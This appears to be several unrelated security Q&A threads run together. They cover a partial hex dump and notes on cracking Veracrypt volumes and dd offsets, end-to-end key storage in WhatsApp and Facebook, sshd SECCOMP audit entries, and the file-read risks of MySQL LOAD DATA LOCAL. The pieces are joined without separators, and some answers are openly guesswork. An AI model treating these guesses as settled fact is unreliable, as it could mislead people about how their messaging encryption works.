000000c0  af 77 0d 73 70 7d 27 12  a6 48 3d 82 bc e2 ba 08  |.w.sp}'..H=.....|
000000d0  be c5 2d 4a a9 86 d6 e6  1f 9c 5e da d1 0e c9 e6  |..-J......^.....|
000000e0  0b 94 47 df 3a 21 f3 73  3a d4 56 d3 a2 cb 0c de  |..G.:!.s:.V.....|
000000f0  ca 20 64 bb f0 c9 1a f4  b4 a7 78 c1 d9 3a 85 7a  |. d.......x..:.z|
00000100  51 f8 27 02 c6 4c f3 03  e1 69 b7 5f a2 9d 6f 10  |Q.'..L...i._..o.|
00000110  c2 dd ac 1f 39 5c 76 e6  44 15 f7 12 7c 25 42 6a  |....9\v.D...|%Bj|
00000120  d9 68 91 2b b5 9b 79 be  70 c7 07 a4 97 2f 53 57  |.h.+..y.p..../SW|
00000130  1c 62 22 89 7a fd f0 66  e8 ce 4e 33 78 9a 6a 2c  |.b".z..f..N3x.j,|
00000140  7d b3 d1 3a bc dd a7 2b  bf 7a 5f ce 93 55 c7 2e  |}..:...+.z_..U..|
00000150  41 b2 24 9e fe 94 17 8a  34 17 2f 8a 3b d0 b9 d1  |A.$.....4./.;...|
00000160  ca 6b 07 1f 3c 40 66 88  f9 38 b2 d1 2a 07 b3 01  |.k..<@f..8..*...|
00000170  10 3c a8 5a 8c 62 42 fa  37 df 4f 16 3d 73 f5 9d  |.<.Z.bB.7.O.=s..|
00000180  08 3b 22 d0 a0 58 b7 fa  f1 0c f8 0e 6f c0 eb ce  |.;"..X......o...|
00000190  2f 7f a5 36 12 3f 14 52  28 97 c9 42 e3 71 66 81  |/..6.?.R(..B.qf.|
000001a0  92 90 6f 74 ee 42 df 49  1a 08 77 53 83 0c bc e2  |..ot.B.I..wS....|
000001b0  13 a5 76 49 96 50 b4 e2  66 17 95 b4 6f f4 7b 9b  |..vI.P..f...o.{.|
000001c0  73 72 ae da ed 4e 2a 82  2d b4 7b c8 1d b4 f4 9e  |sr...N*.-.{.....|
000001d0  8f f9 30 ee f1 50 db 3d  bc 55 25 27 0b 62 78 15  |..0..P.=.U%'.bx.|
000001e0  bb 6b 9a f0 ac 3c e1 b4  e3 9f 00 8d 5e b3 aa bd  |.k...<......^...|
000001f0  72 55 6c 2e c5 34 ff 48  4c 18 41 e2 2b ca 20 17  |rUl..4.HL.A.+. .|
00000200

Second cracking Veracrypt without knowing at least a targeted subset of candidate passwords is a mighty undertaking. Veracrypt non-system hash round counts defaults to a half million. On top of that it allows custom round counts.

The Veracrypt volume header structure is documented here: Veracrypt Volume Format

If you pull this off, please tell us!

---- Second Edit -----

I fired up a Windows VM and tried out "DD for Windows" which I had never used.

When you run dd --list, pay careful attention to the target device. Does it show more than one partition? I plugged in a simply FAT32 thumb drive with only a single partition but DD for Windows showed it as two partitions like this:

\\?\Device\Harddisk1\Partition0
  link to \\?\Device\Harddisk1\DR2
  Removable media other than floppy. Block size = 512
  size is 4089446400 bytes
\\?\Device\Harddisk1\Partition1
  link to \\?\Device\HarddiskVolume5
  Removable media other than floppy. Block size = 512
  size is 4089069568 bytes

Examining this in Linux with fdisk shows the start of the one and only partition is not zero. Apparently DD for Windows represents this offset as a partition.

The net result is that the difference in sizes of the two partitions divided by 512 is the skip=value you need for your dd command if you picked the raw device instead of the partition.


Private key storage for end2end encrypted messaging I am familiar with asymmetrical encryption, private/public keys...

I am wondering about the "new" trend coming from WhatsApp, Facebook, ... to have end to end message encryption. From my understanding, the device should generate the key pair locally, and send only the public key to the server/other users.

However, if my private key is stored only on my device, how can I still read/fetch all my previous conversations (supposedly encrypted) from the server when I use a new device since I don't have my private key anymore ? Or for example, if I use Facebook messenger on my browser, how can I decrypt previous messages when the private key should not be transferred ?

When talking about Facebook and Whatsapp end to end encryption, both work for one device at a time. Reference: Facebook help center.

  However, if my private key is stored only on my device, how can I still read/fetch all my previous conversations (supposedly encrypted) from the server when I use a new device since I don't have my private key anymore ?

In Whatsapp when you move to a new device, you need to wait for your device to get synced with the other device to read all the messages that were sent from that device. Whatsapp basically re-encrypts the messages. I am guessing that same should be the case with Facebook as well. Here is a reference to Whatsapp

  Or for example, if I use Facebook messenger on my browser, how can I decrypt previous messages when the private key should not be transferred ?

As mentioned in the Facebook help center, if you are initiating a secret chat( FB name for end to end encrypted chat), only the device used for end to end encryption can decrypt the messages as other devices don't have the same key.
When it comes to Whatsapp web, it allegedly has a secure connection (not end to end) with your phone client and the phone client has true end to end encryption with the other device. Reference


Strange SECCOMP entries for sshd in audit log I've posted this over at ServerFault but haven't received a response over there. I'm not a security professional, but I'm curious as to what kind of attack this might be and how the attackers might be performing it. I figured someone here who's more knowledgeable in security might know.
Here's the text of the original post:

I'm seeing strange entries for sshd in my audit logs along the lines of:
type=SECCOMP audit(1433519794.902:46): auid=20003 uid=22 gid=22 ses=21 pid=25136 comm="sshd" exe="/usr /sbin/sshd" sig=31 arch=40000003 syscall=102 compat=0 ip=0xb76c8aac code=0x0
type=SECCOMP msg=audit(1433785727.186:10262): auid=20003 uid=22 gid=22 ses=21 pid=11217 comm="sshd" exe="/usr/sbin/sshd" sig=31 arch=400 00003 syscall=132 compat=0 ip=0xb7670aac code=0x0
Anyone have any idea what's happening? My guess is that, OpenSSH forks a  sandboxed process for preauth and someone is attempting to execute system calls (socketcall and getpgid) during this connection phase.
All connections appear to come from Korea.

I should add that I'm using OpenSSH 6.7p1 and Linux kernel version 3.18.12.

Solved on ServerFault and in upstream. Pushing also here to mark as solved.

The meaning of syscall you can find out simply by executing:

$ ausyscall 102
socketcall
$ ausyscall 132
getpgid

The first one is upstream bug, now fixed. ix86 is using this system call to shutdown socket (close one way).

The second looks like problem of packaging or some downstream patch (what distribution are you using?), because this can be safely allowed from my point of view -- we were allowing getpid and similars for auditing purposes.

To cool you down, no security concern here :) This is probably happening with every (failed) connection.


SQL Injection from Data Import Files We process a lot of batch files and do an initial batch file import via the
LOAD DATA LOCAL INFILE call in MySQL.

Is there a tool / standard out there that can scan or help to mitigate SQL injection from this import process?

There are two potential security issues with supporting the LOCAL version of LOAD DATA statements:

The transfer of the file from the client host to the server host is initiated by the MySQL server. In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement. Such a server could access any file on the client host to which the client user has read access.
In a Web environment where the clients are connecting from a Web server, a user could use LOAD DATA LOCAL to read any files that the Web server process has read access to (assuming that a user could run any command against the SQL server). In this environment, the client with respect to the MySQL server actually is the Web server, not the remote program being run by the user who connects to the Web server.

All the sources I found MySQL, Symantec and Green SQL recommend to disable this function. However if you are using in a controlled environment (restricted access only to trusted users) you might accept the risk.